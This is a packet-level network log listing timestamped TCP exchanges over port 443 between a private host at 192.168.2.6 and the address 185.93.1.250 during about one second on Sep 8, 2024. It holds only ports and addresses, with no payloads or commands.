Sep 8, 2024 09:53:35.284101009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.284105062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284138918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.284322023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284334898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284373999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.284379005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284410954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.284471035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284492016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284518003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.284523010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284543991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.284559965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.368546963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.368566036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.368714094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.368731976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.368778944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.369566917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.369580984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.369643927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.369648933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.369689941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.369865894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.369879961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.369925976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.369931936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.369978905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.370176077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370188951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370233059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.370237112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370285988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.370466948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370486021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370533943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.370538950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370574951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.370770931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370789051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370824099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.370829105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.370857000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.370873928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.371077061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.371097088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.371143103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.371148109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.371184111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.371437073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.371448994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.371493101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.371498108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.371532917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.455624104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.455645084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.455773115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.455800056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.455847025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.456562996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.456576109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.456634998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.456648111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.456685066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.456835985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.456849098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.456897974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.456906080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.456942081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.457308054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457323074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457376957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.457386017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457425117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.457536936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457554102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457583904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.457590103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457627058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.457710981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457731962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457734108 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.457743883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.457761049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.457794905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.458157063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.458169937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.458220959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.458230019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.458266020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.458498001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.458509922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.458556890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.458564043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.458599091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.542602062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.542620897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.542686939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.542700052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.542733908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.543706894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.543725014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.543780088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.543786049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.543821096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544018030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544030905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544080019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544085026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544116974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544359922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544372082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544431925 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544436932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544464111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544478893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544562101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544576883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544614077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544619083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544671059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544883966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544897079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544944048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544948101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.544971943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.544990063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.545281887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.545295954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.545342922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.545347929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.545380116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.545545101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.545558929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.545598030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.545603037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.545628071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.545639038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.629910946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.629940033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.630002975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.630021095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.630049944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.630068064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.630747080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.630762100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.630805016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.630811930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.630845070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631094933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631109953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631144047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631149054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631167889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631189108 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631395102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631409883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631448030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631452084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631485939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631692886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631705999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631740093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631745100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.631768942 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.631786108 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632015944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632030010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632066011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632071018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632096052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632111073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632251978 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632263899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632292986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632297039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632325888 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632469893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632489920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632515907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632519960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.632538080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.632550001 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.717152119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.717176914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.717314959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.717339993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.717381954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.717745066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.717758894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.717803955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.717809916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.717835903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.717852116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718250036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718264103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718314886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718321085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718364000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718421936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718436003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718491077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718496084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718534946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718631983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718664885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718703985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718708992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718734026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718754053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.718957901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.718971014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719023943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.719028950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719069958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.719310045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719324112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719364882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.719371080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719392061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.719417095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.719599009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719611883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719664097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.719669104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.719707966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.803998947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.804024935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.804152966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.804168940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.804208994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.804804087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.804821014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.804863930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.804867983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.804893970 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.804905891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805195093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805217028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805246115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805250883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805274963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805294037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805465937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805480957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805514097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805517912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805545092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805562973 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805732965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805744886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805799961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805804968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805840969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805932999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805949926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.805988073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.805991888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.806014061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.806034088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.806253910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.806267977 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.806318045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.806323051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.806354046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.806519032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.806531906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.806582928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.806587934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.806626081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.891499996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.891531944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.891660929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.891676903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.891836882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.891849995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.891856909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.891869068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.891882896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.891915083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.892095089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892116070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892144918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.892148972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892168999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.892184019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.892267942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892281055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892318964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.892321110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892328024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892350912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.892605066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892625093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892651081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.892654896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.892679930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.893018961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893037081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893063068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.893068075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893088102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.893215895 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893233061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893260002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.893264055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893279076 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.893568993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893580914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893610954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893620968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.893626928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.893649101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.940249920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.978559017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.978579044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.978720903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.978740931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.978784084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.979032040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.979053020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.979101896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.979113102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.979151011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.979623079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.979635954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.979697943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.979703903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.979751110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.980076075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.980134010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.980151892 CEST	443	49710	185.93.1.250	192.168.2.6
